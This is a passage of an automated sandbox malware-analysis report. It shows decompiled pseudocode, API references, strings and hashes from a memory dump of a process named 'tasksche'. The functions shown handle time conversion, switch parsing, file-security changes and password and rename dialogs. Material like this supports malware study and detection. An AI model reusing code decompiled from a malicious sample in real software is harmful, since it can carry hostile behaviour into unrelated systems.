						if(_v8200 == 0x7d || E0041A7AF( &_v8200) + _t32 > 0xfffb) {
							break;
						} else {
							E0041A7C9(_t42,  &_v8200);
							_t32 = E0041A7AF(_t42);
							_t43 = _t43 + 0xc;
							if(_t32 <= 0) {
								L11:
								if(_v5 == 0) {
									E0041A7F7(_t42 + _t32 * 2, L"\r\n");
								}
								continue;
							}
							_t6 = _t32 * 2; // -2
							_t28 = _t42 + _t6 - 2;
							while( *_t28 == 0x20) {
								_t32 = _t32 - 1;
								_t28 = _t28;
								if(_t32 > 0) {
									continue;
								}
								goto L11;
							}
							goto L11;
						}
					} else {
						continue;
					}
				}
				return _t42;
			}

0x0040d92d
0x0040d935
0x0040d946
0x0040d94b
0x0040d952
0x0040d952
0x0040d959
0x0040d95c
0x0040d9d3
0x0040d9e8
0x0040d9ed
0x0040d9f1
0x00000000
0x00000000
0x0040d964
0x0040d978
0x00000000
0x0040d990
0x0040d998
0x0040d9a3
0x0040d9a5
0x0040d9aa
0x0040d9bd
0x0040d9c1
0x0040d9cc
0x0040d9d2
0x00000000
0x0040d9c1
0x0040d9ac
0x0040d9ac
0x0040d9b0
0x0040d9b6
0x0040d9b8
0x0040d9bb
0x00000000
0x00000000
0x00000000
0x0040d9bb
0x00000000
0x0040d9b0
0x00000000
0x00000000
0x00000000
0x0040d964
0x0040d9fc

APIs

_malloc.LIBCMT ref: 0040D941

Part of subcall function 0041CF3E: __FF_MSGBANNER.LIBCMT ref: 0041CF61
Part of subcall function 0041CF3E: __NMSG_WRITE.LIBCMT ref: 0041CF68
Part of subcall function 0041CF3E: RtlAllocateHeap.NTDLL(00000000,-0000000F,00000001,00000000,00000000,?,004212F4,00000000,00000001,00000000,?,0041EF2D,00000018,0042D930,0000000C,0041EFBE), ref: 0041CFB5

_wcslen.LIBCMT ref: 0040D981
_wcscat.LIBCMT ref: 0040D998
_wcslen.LIBCMT ref: 0040D99E
_wcscpy.LIBCMT ref: 0040D9CC

Strings

}, xrefs: 0040D970

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: _wcslen$AllocateHeap_malloc_wcscat_wcscpy
String ID: }
API String ID: 2020890722-4239843852
Opcode ID: 87a1d4075c0fbabaaf42ee75a1288eb88e4c448287557cbd43c96a9187b86b14
Instruction ID: a9b9a9eb170ff11f00d7125a4cd00596761e48c06437fb6caf1dcbb108c8f9f0
Opcode Fuzzy Hash: 87a1d4075c0fbabaaf42ee75a1288eb88e4c448287557cbd43c96a9187b86b14
Instruction Fuzzy Hash: 6111B771D0131A59EB25ABE08CC57DB72B8DF00354F10007BE645E22D1EBBC9A99C39D

Uniqueness

Uniqueness Score: -1.00%

Function 00411541 Relevance: 9.1, APIs: 6, Instructions: 104
timeCOMMON

Download Yara Rule

C-Code - Quality: 69%

			E00411541(signed int* __ecx, intOrPtr* _a4) {
				struct _FILETIME _v12;
				struct _FILETIME _v20;
				void* _v24;
				struct _FILETIME _v28;
				struct _SYSTEMTIME _v44;
				struct _SYSTEMTIME _v60;
				struct _SYSTEMTIME _v76;
				int _t52;
				void* _t67;
				long _t71;
				signed int* _t75;
				signed int _t84;
				intOrPtr* _t86;
				intOrPtr _t87;

				_t86 = _a4;
				_v44.wYear =  *_t86;
				_t3 = _t86 + 4; // 0xffec8b55
				_v44.wMonth =  *_t3;
				_t5 = _t86 + 8; // 0x75ff1c75
				_v44.wDay =  *_t5;
				_t7 = _t86 + 0xc; // 0x1475ff18
				_v44.wHour =  *_t7;
				_t9 = _t86 + 0x10; // 0xff1075ff
				_v44.wMinute =  *_t9;
				_t11 = _t86 + 0x14; // 0x75ff0c75
				_v44.wSecond =  *_t11;
				_v44.wMilliseconds = 0;
				_t75 = __ecx;
				_t52 = SystemTimeToFileTime( &_v44,  &_v12);
				if(_t52 == 0) {
					 *_t75 =  *_t75 & 0x00000000;
					_t75[1] = _t75[1] & 0x00000000;
					return _t52;
				}
				_t16 = _t86 + 0x18; // 0xd00ae808
				_t87 =  *_t16;
				_v12.dwLowDateTime = _v12.dwLowDateTime + _t87;
				if(_v12.dwLowDateTime < _t87) {
					_v12.dwHighDateTime = _v12.dwHighDateTime + 1;
				}
				if(E00409C06() >= 0x600) {
					FileTimeToSystemTime( &_v12,  &_v60);
					__imp__TzSpecificLocalTimeToSystemTime(0,  &_v60,  &_v76);
					SystemTimeToFileTime( &_v76,  &_v20);
					SystemTimeToFileTime( &_v60,  &_v28);
					_t84 = _v12.dwHighDateTime;
					asm("adc ecx, esi");
					_t67 = E0041ABD0(_v20.dwHighDateTime + _t84, 0, 0, 1);
					asm("sbb edx, esi");
					asm("sbb edx, esi");
					asm("adc edx, esi");
					_t71 = _t67 - _v28.dwLowDateTime + _v20.dwLowDateTime + _v12.dwLowDateTime;
					asm("adc edx, esi");
				} else {
					LocalFileTimeToFileTime( &_v12,  &_v20);
					_t84 = _v20.dwHighDateTime;
					_t71 = _v20.dwLowDateTime;
				}
				 *_t75 = _t71;
				_t75[1] = _t84;
				return _t71;
			}

0x00411549
0x0041154f
0x00411553
0x00411557
0x0041155b
0x0041155f
0x00411563
0x00411567
0x0041156b
0x0041156f
0x00411573
0x00411577
0x00411584
0x00411590
0x00411592
0x00411596
0x00411642
0x00411645
0x00000000
0x00411645
0x0041159c
0x0041159c
0x0041159f
0x004115a5
0x004115a7
0x004115a7
0x004115b4
0x004115d4
0x004115e4
0x004115f2
0x004115fc
0x004115fe
0x0041160d
0x00411611
0x00411620
0x00411629
0x00411630
0x00411632
0x00411634
0x004115b6
0x004115be
0x004115c4
0x004115c7
0x004115c7
0x0041163b
0x0041163d
0x00000000

APIs

SystemTimeToFileTime.KERNEL32(?,004116A7,?,?), ref: 00411592
LocalFileTimeToFileTime.KERNEL32(004116A7,?), ref: 004115BE
FileTimeToSystemTime.KERNEL32(004116A7,?), ref: 004115D4
TzSpecificLocalTimeToSystemTime.KERNEL32(00000000,?,?), ref: 004115E4
SystemTimeToFileTime.KERNEL32(?,?), ref: 004115F2
SystemTimeToFileTime.KERNEL32(?,?), ref: 004115FC

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: Time$File$System$Local$Specific
String ID:
API String ID: 3144155402-0
Opcode ID: f90245df41cc322dafe52bf530a12eef1bc8a67292351d8d3269b2ac88901438
Instruction ID: daaaa78088cd12f13caf2716ff388f37494b9d87aa27411613d97d80370a29eb
Opcode Fuzzy Hash: f90245df41cc322dafe52bf530a12eef1bc8a67292351d8d3269b2ac88901438
Instruction Fuzzy Hash: 92313276D001199BCB14DFD4C840AEFB7B9FF48710F04452AE946E3250E634A945CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 0041DD85 Relevance: 9.0, APIs: 6, Instructions: 49
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 90%

			E0041DD85(void* __ebx, intOrPtr __ecx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t48;
				intOrPtr _t57;
				void* _t58;
				void* _t61;

				_t61 = __eflags;
				_t53 = __edx;
				_push(0x2c);
				_push(0x42d800);
				E0041FA9C(__ebx, __edi, __esi);
				_t48 = __ecx;
				_t55 =  *((intOrPtr*)(_t58 + 0xc));
				_t57 =  *((intOrPtr*)(_t58 + 8));
				 *((intOrPtr*)(_t58 - 0x1c)) = __ecx;
				 *(_t58 - 0x34) =  *(_t58 - 0x34) & 0x00000000;
				 *((intOrPtr*)(_t58 - 0x24)) =  *((intOrPtr*)( *((intOrPtr*)(_t58 + 0xc)) - 4));
				 *((intOrPtr*)(_t58 - 0x28)) = E0041A3D6(_t58 - 0x3c,  *((intOrPtr*)(_t57 + 0x18)));
				 *((intOrPtr*)(_t58 - 0x2c)) =  *((intOrPtr*)(E0041E9B4(__ecx, __edx, _t55, _t61) + 0x88));
				 *((intOrPtr*)(_t58 - 0x30)) =  *((intOrPtr*)(E0041E9B4(_t48, __edx, _t55, _t61) + 0x8c));
				 *((intOrPtr*)(E0041E9B4(_t48, _t53, _t55, _t61) + 0x88)) = _t57;
				 *((intOrPtr*)(E0041E9B4(_t48, _t53, _t55, _t61) + 0x8c)) =  *((intOrPtr*)(_t58 + 0x10));
				 *(_t58 - 4) =  *(_t58 - 4) & 0x00000000;
				 *((intOrPtr*)(_t58 + 0x10)) = 1;
				 *(_t58 - 4) = 1;
				 *((intOrPtr*)(_t58 - 0x1c)) = E0041A47B(_t55,  *((intOrPtr*)(_t58 + 0x14)), _t48,  *((intOrPtr*)(_t58 + 0x18)),  *((intOrPtr*)(_t58 + 0x1c)));
				 *(_t58 - 4) =  *(_t58 - 4) & 0x00000000;
				 *(_t58 - 4) = 0xfffffffe;
				 *((intOrPtr*)(_t58 + 0x10)) = 0;
				E0041DEAB(_t48, _t53, _t55, _t57, _t61);
				return E0041FAE1( *((intOrPtr*)(_t58 - 0x1c)));
			}

0x0041dd85
0x0041dd85
0x0041dd85
0x0041dd87
0x0041dd8c
0x0041dd91
0x0041dd93
0x0041dd96
0x0041dd99
0x0041dd9c
0x0041dda3
0x0041ddb4
0x0041ddc2
0x0041ddd0
0x0041ddd8
0x0041dde6
0x0041ddec
0x0041ddf3
0x0041ddf6
0x0041de0c
0x0041de0f
0x0041de84
0x0041de8b
0x0041de92
0x0041de9f

APIs

__CreateFrameInfo.LIBCMT ref: 0041DDAD

Part of subcall function 0041A3D6: __getptd.LIBCMT ref: 0041A3E4
Part of subcall function 0041A3D6: __getptd.LIBCMT ref: 0041A3F2

__getptd.LIBCMT ref: 0041DDB7

Part of subcall function 0041E9B4: __getptd_noexit.LIBCMT ref: 0041E9B7
Part of subcall function 0041E9B4: __amsg_exit.LIBCMT ref: 0041E9C4

__getptd.LIBCMT ref: 0041DDC5
__getptd.LIBCMT ref: 0041DDD3
__getptd.LIBCMT ref: 0041DDDE
_CallCatchBlock2.LIBCMT ref: 0041DE04

Part of subcall function 0041A47B: __CallSettingFrame@12.LIBCMT ref: 0041A4C7

Part of subcall function 0041DEAB: __getptd.LIBCMT ref: 0041DEBA
Part of subcall function 0041DEAB: __getptd.LIBCMT ref: 0041DEC8

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: __getptd$Call$Block2CatchCreateFrameFrame@12InfoSetting__amsg_exit__getptd_noexit
String ID:
API String ID: 1602911419-0
Opcode ID: 5eb10d2cb4eb5e2da6c5453d1fe4c56248c4e16d68a7da2668f442ad0aab7930
Instruction ID: e3df1943845817192d3dafa627097d3dc4affc0cfff12b6418408f9c93a4c95a
Opcode Fuzzy Hash: 5eb10d2cb4eb5e2da6c5453d1fe4c56248c4e16d68a7da2668f442ad0aab7930
Instruction Fuzzy Hash: 9E1126B1D00209DFDF00EFA1C445AED7BB0FF04318F10806AF854AB251DB389A519B59

Uniqueness

Uniqueness Score: -1.00%

Function 0040D64B Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 88
COMMON

Download Yara Rule

C-Code - Quality: 53%

			E0040D64B(void* __eflags, intOrPtr _a4) {
				signed int _v8;
				char _v2050;
				signed int _v2052;
				signed short _v2054;
				char _v2056;
				void* __ebx;
				void* _t19;
				void* _t21;
				void* _t24;
				void* _t27;
				void* _t30;
				WCHAR* _t36;
				void* _t37;
				void* _t38;

				_v8 = _v8 & 0x00000000;
				_t19 = E00410C58(__eflags, _a4,  &_v2056, 0x400);
				_t45 = _t19;
				if(_t19 == 0) {
					return _t19;
				} else {
					do {
						_v8 = _v8 + 1;
						if(_v8 != 1 && (_v2056 == 0x2f || _v2056 == 0x2d)) {
							_t24 = CharUpperW(_v2054 & 0x0000ffff) - 0x44;
							if(_t24 == 0) {
								_push(0x800);
								_push( &_v2052);
								_push(0x44187a);
								L22:
								E00410B9C();
								goto L23;
							}
							_t27 = _t24 - 1;
							if(_t27 == 0) {
								__eflags = CharUpperW(_v2052 & 0x0000ffff) - 0x4c;
								if(__eflags == 0) {
									__eflags = _v2050;
									if(__eflags == 0) {
										 *0x441879 = 1;
									}
								}
								goto L23;
							}
							_t30 = _t27 - 0xb;
							if(_t30 == 0) {
								E0040D033(0x800, 0x44387a,  &_v2052);
								goto L23;
							}
							if(_t30 != 3) {
								goto L23;
							}
							_t36 = CharUpperW(_v2052 & 0x0000ffff);
							if(_t36 == 0) {
								L15:
								 *0x441874 = 1;
								L16:
								 *0x44184a = 1;
								goto L23;
							}
							_t37 = _t36 - 0x31;
							if(_t37 == 0) {
								goto L15;
							}
							_t38 = _t37 - 1;
							if(_t38 == 0) {
								 *0x441874 = 2;
								goto L16;
							}
							_t59 = _t38 != 0x1e;
							if(_t38 != 0x1e) {
								goto L23;
							}
							_push(0x800);
							_push( &_v2050);
							_push(0x44287a);
							goto L22;
						}
						L23:
						_t21 = E00410C58(_t59, _t45,  &_v2056, 0x400);
						_t45 = _t21;
					} while (_t21 != 0);
					return _t21;
				}
			}

0x0040d654
0x0040d66a
0x0040d66f
0x0040d673
0x0040d77e
0x0040d679
0x0040d67f
0x0040d67f
0x0040d686
0x0040d6b1
0x0040d6b4
0x0040d750
0x0040d757
0x0040d758
0x0040d75d
0x0040d75d
0x00000000
0x0040d75d
0x0040d6ba
0x0040d6bb
0x0040d738
0x0040d73b
0x0040d73d
0x0040d745
0x0040d747
0x0040d747
0x0040d745
0x00000000
0x0040d73b
0x0040d6bd
0x0040d6c0
0x0040d724
0x00000000
0x0040d724
0x0040d6c5
0x00000000
0x00000000
0x0040d6d8
0x0040d6db
0x0040d705
0x0040d705
0x0040d70f
0x0040d70f
0x00000000
0x0040d70f
0x0040d6dd
0x0040d6e0
0x00000000
0x00000000
0x0040d6e2
0x0040d6e3
0x0040d6f9
0x00000000
0x0040d6f9
0x0040d6e5
0x0040d6e8
0x00000000
0x00000000
0x0040d6ea
0x0040d6f1
0x0040d6f2
0x00000000
0x0040d6f2
0x0040d762
0x0040d76b
0x0040d770
0x0040d772
0x00000000
0x0040d77a

APIs

CharUpperW.USER32(?,?,?,?,00000400), ref: 0040D6AC
CharUpperW.USER32(?,?,?,?,?,00000400), ref: 0040D6D3

Strings

z8D, xrefs: 0040D71F
-, xrefs: 0040D696

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: CharUpper
String ID: -$z8D
API String ID: 9403516-4016828469
Opcode ID: 6e6643a8c5453ab08bb62a8daeba662149a01c951e73f69a55f52de3d79d5015
Instruction ID: 6cb870ea5eaa954c7fe556a8e422e29c236d8a0fbf71e72dd1f5d8a9bc66e192
Opcode Fuzzy Hash: 6e6643a8c5453ab08bb62a8daeba662149a01c951e73f69a55f52de3d79d5015
Instruction Fuzzy Hash: FE21A5B9C0011995DB60B7E98D48BBB66A8FB41304F144177E548B32D2EA7CDECC8B6D

Uniqueness

Uniqueness Score: -1.00%

Function 0040680A Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 84
COMMON

Download Yara Rule

C-Code - Quality: 84%

			E0040680A(void* __ebx, void* __edx, void* __edi) {
				void* __esi;
				int _t24;
				int _t26;
				void* _t29;
				int _t32;
				void* _t34;
				struct _SECURITY_DESCRIPTOR* _t35;
				void* _t42;
				long _t43;
				struct _SECURITY_DESCRIPTOR* _t45;
				void* _t47;
				struct _SECURITY_DESCRIPTOR* _t51;

				_t42 = __edi;
				_t34 = __ebx;
				E0041A4DC(E004294DA, _t47);
				E0041AAF0(0x1010);
				_t45 = 0;
				 *(_t47 - 0x1c) = 0;
				 *((intOrPtr*)(_t47 - 0x18)) = 0;
				 *((intOrPtr*)(_t47 - 0x14)) = 0;
				 *((intOrPtr*)(_t47 - 0x10)) = 0;
				_push(0);
				_push(_t47 - 0x1c);
				 *((intOrPtr*)(_t47 - 4)) = 0;
				_t24 = E00402C8B( *((intOrPtr*)(_t47 + 8)), __edx);
				if(_t24 != 0) {
					__eflags =  *0x4335a2;
					if( *0x4335a2 == 0) {
						_t32 = E00406553(L"SeSecurityPrivilege");
						__eflags = _t32;
						if(_t32 != 0) {
							 *0x4335a1 = 1;
						}
						E00406553(L"SeRestorePrivilege");
						 *0x4335a2 = 1;
					}
					__eflags =  *0x4335a1;
					_push(_t34);
					_push(_t42);
					_t43 = 7;
					if( *0x4335a1 != 0) {
						_t43 = 0xf;
					}
					_t35 =  *(_t47 - 0x1c);
					_t45 = SetFileSecurityW;
					_t24 = SetFileSecurityW( *(_t47 + 0xc), _t43, _t35);
					__eflags = _t24;
					if(_t24 == 0) {
						_t26 = E0040A3DC( *(_t47 + 0xc), _t47 - 0x101c, 0x800);
						__eflags = _t26;
						if(_t26 == 0) {
							L11:
							_t28 =  *((intOrPtr*)(_t47 + 8)) + 0x1e;
							__eflags =  *((intOrPtr*)(_t47 + 8)) + 0x1e;
							_t29 = E0040639F(0x4f, _t28,  *(_t47 + 0xc));
							_t45 = 0x4335ac;
							E00401000(_t29);
							_t24 = E004062BA(0x4335ac, 1);
						} else {
							_t24 = SetFileSecurityW(_t47 - 0x101c, _t43, _t35);
							__eflags = _t24;
							if(_t24 == 0) {
								goto L11;
							}
						}
					}
					__eflags =  *(_t47 - 0x1c);
					_pop(_t42);
					_pop(_t34);
				} else {
					_t51 =  *(_t47 - 0x1c);
				}
				if(_t51 != 0) {
					_push( *(_t47 - 0x1c));
					_t24 = E0041A506(_t34, _t42, _t45, _t51);
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t47 - 0xc));
				return _t24;
			}

0x0040680a
0x0040680a
0x0040680f
0x00406819
0x0040681f
0x00406821
0x00406824
0x00406827
0x0040682a
0x00406830
0x00406834
0x00406835
0x00406838
0x0040683f
0x00406849
0x00406850
0x00406857
0x0040685c
0x0040685e
0x00406860
0x00406860
0x0040686c
0x00406871
0x00406871
0x00406878
0x0040687f
0x00406880
0x00406883
0x00406884
0x00406888
0x00406888
0x00406889
0x0040688c
0x00406897
0x00406899
0x0040689b
0x004068ac
0x004068b1
0x004068b3
0x004068c4
0x004068ca
0x004068ca
0x004068d0
0x004068d5
0x004068dc
0x004068e5
0x004068b5
0x004068be
0x004068c0
0x004068c2
0x00000000
0x00000000
0x004068c2
0x004068b3
0x004068ea
0x004068ee
0x004068ef
0x00406841
0x00406841
0x00406841
0x004068f0
0x004068f2
0x004068f5
0x004068fa
0x004068ff
0x00406907

APIs

__EH_prolog.LIBCMT ref: 0040680F

Part of subcall function 00402C8B: __EH_prolog.LIBCMT ref: 00402C90

SetFileSecurityW.ADVAPI32(00000000,00000007,?,?,?,?,00000000,?,00406EF5,?,?,?,?,0040773A,?,?), ref: 00406897
SetFileSecurityW.ADVAPI32(?,00000007,?,00000000,?,00000800,?,0040773A,?,?,?,?,?,00000000,0040839C,?), ref: 004068BE

Strings

SeSecurityPrivilege, xrefs: 00406852
SeRestorePrivilege, xrefs: 00406867

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: FileH_prologSecurity
String ID: SeRestorePrivilege$SeSecurityPrivilege
API String ID: 2167059215-639343689
Opcode ID: 668843457d3f320ef4c041a0620e582976ae6b8cc17d27ec4e60122bb8f86131
Instruction ID: e80266907105dbdc6ea336272c15ef3f26093cba4c1f52b7c6092cd65192489b
Opcode Fuzzy Hash: 668843457d3f320ef4c041a0620e582976ae6b8cc17d27ec4e60122bb8f86131
Instruction Fuzzy Hash: 8D219372901259BEDF21AF55DC01BAF77689B04758F00803BF802B62C1C7BC8A559BAD

Uniqueness

Uniqueness Score: -1.00%

Function 0040E1B2 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 66
windowCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E0040E1B2(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, void* _a16) {
				void* _v4100;
				void* __ebx;
				struct HWND__* _t15;
				void* _t25;
				void* _t26;
				signed int _t27;
				signed int _t29;
				void* _t35;
				struct HWND__* _t38;
				void* _t40;
				void* _t41;

				E0041AAF0(0x1000);
				if( *0x44397a == 0) {
					_t15 =  *0x441844;
					_t38 = _t15;
					if(_a4 == 2 && IsWindowVisible(_t15) == 0) {
						_t38 = 0;
					}
					E0040A386(_t26, _a8, _a12,  &_v4100, 0x800);
					if( *0x44cf20 != 0 || DialogBoxParamW( *0x4335a4, L"GETPASSWORD1", _t38, E0040D477,  &_v4100) != 0) {
						_t25 = _a16;
						_t27 = 0x40;
						memcpy(_t25, 0x44ce20, _t27 << 2);
						_t41 = _t41 + 0xc;
						asm("movsw");
					} else {
						_t25 = _a16;
						E0040D033(_t25, _t25, 0x42a73c);
						 *0x44183c = 1;
					}
					if( *((char*)(_t25 + 0x100)) != 0) {
						_t40 = _t25;
						_t35 = 0x44387a;
						goto L11;
					}
				} else {
					_t25 = _a16;
					_t40 = 0x44387a;
					_t35 = _t25;
					L11:
					_t29 = 0x40;
					memcpy(_t35, _t40, _t29 << 2);
					asm("movsw");
				}
				return  *((intOrPtr*)(_t25 + 0x100));
			}

0x0040e1ba
0x0040e1c9
0x0040e1de
0x0040e1e3
0x0040e1e5
0x0040e1f2
0x0040e1f2
0x0040e206
0x0040e212
0x0040e24e
0x0040e253
0x0040e25b
0x0040e25b
0x0040e25d
0x0040e236
0x0040e236
0x0040e240
0x0040e245
0x0040e245
0x0040e266
0x0040e268
0x0040e26a
0x00000000
0x0040e26a
0x0040e1cb
0x0040e1cb
0x0040e1ce
0x0040e1d3
0x0040e26f
0x0040e271
0x0040e272
0x0040e274
0x0040e274
0x0040e280

APIs

IsWindowVisible.USER32 ref: 0040E1E8
DialogBoxParamW.USER32 ref: 0040E22C

Strings

GETPASSWORD1, xrefs: 0040E221
z8D, xrefs: 0040E26A
z8D, xrefs: 0040E1CE

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: DialogParamVisibleWindow
String ID: GETPASSWORD1$z8D$z8D
API String ID: 3157717868-3779298832
Opcode ID: 8a5930b9f1bd4a7920270691445133db6bb9d1af5357342886f90841ecad1a96
Instruction ID: 2ec29a5f94ea44b227bd1a9c17bea14e87d691145e51ce1093468d312523c58d
Opcode Fuzzy Hash: 8a5930b9f1bd4a7920270691445133db6bb9d1af5357342886f90841ecad1a96
Instruction Fuzzy Hash: B71159717002445BEB21DF62AC80B973B99AB08765F08007BFD446B2D1C7BC8CA0C76D

Uniqueness

Uniqueness Score: -1.00%

Function 0040D3EE Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E0040D3EE(void* __eflags, struct HWND__* _a4, intOrPtr _a8, signed short _a12, WCHAR* _a16) {
				void* _t11;
				void* _t17;
				void* _t21;
				struct HWND__* _t22;
				WCHAR* _t23;

				_t23 = _a16;
				_t22 = _a4;
				if(E004060EE(_t21, _t22, _a8, _a12, _t23, L"RENAMEDLG", 0, 0) != 0) {
					L10:
					return 1;
				}
				_t11 = _a8 - 0x110;
				if(_t11 == 0) {
					 *0x44cf28 = _t23;
					SetDlgItemTextW(_t22, 0x65, _t23);
					SetDlgItemTextW(_t22, 0x66,  *0x44cf28);
					goto L10;
				}
				if(_t11 != 1) {
					L5:
					return 0;
				}
				_t17 = (_a12 & 0x0000ffff) - 1;
				if(_t17 == 0) {
					GetDlgItemTextW(_t22, 0x66,  *0x44cf28, 0x800);
					_push(1);
					L7:
					EndDialog(_t22, ??);
					goto L10;
				}
				if(_t17 == 1) {
					_push(0);
					goto L7;
				}
				goto L5;
			}

0x0040d3f2
0x0040d3f6
0x0040d411
0x0040d46e
0x00000000
0x0040d470
0x0040d416
0x0040d41b
0x0040d454
0x0040d461
0x0040d46c
0x00000000
0x0040d46c
0x0040d41e
0x0040d42a
0x00000000
0x0040d42a
0x0040d424
0x0040d425
0x0040d447
0x0040d44d
0x0040d430
0x0040d431
0x00000000
0x0040d431
0x0040d428
0x0040d42e
0x00000000
0x0040d42e
0x00000000

APIs

EndDialog.USER32(?,00000001), ref: 0040D431
GetDlgItemTextW.USER32(?,00000066,00000800), ref: 0040D447
SetDlgItemTextW.USER32 ref: 0040D461
SetDlgItemTextW.USER32 ref: 0040D46C

Strings

RENAMEDLG, xrefs: 0040D3FD

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: ItemText$Dialog
String ID: RENAMEDLG
API String ID: 1770891597-3299779563
Opcode ID: 762bcebfea9f2beca08e3ffb6bbc5115bfac0753acb3b7587415e25b8287d6f5
Instruction ID: a809f9c23db95260371581c6ee5cd384337b37eb9584205a8113e0e6bfd29c9a
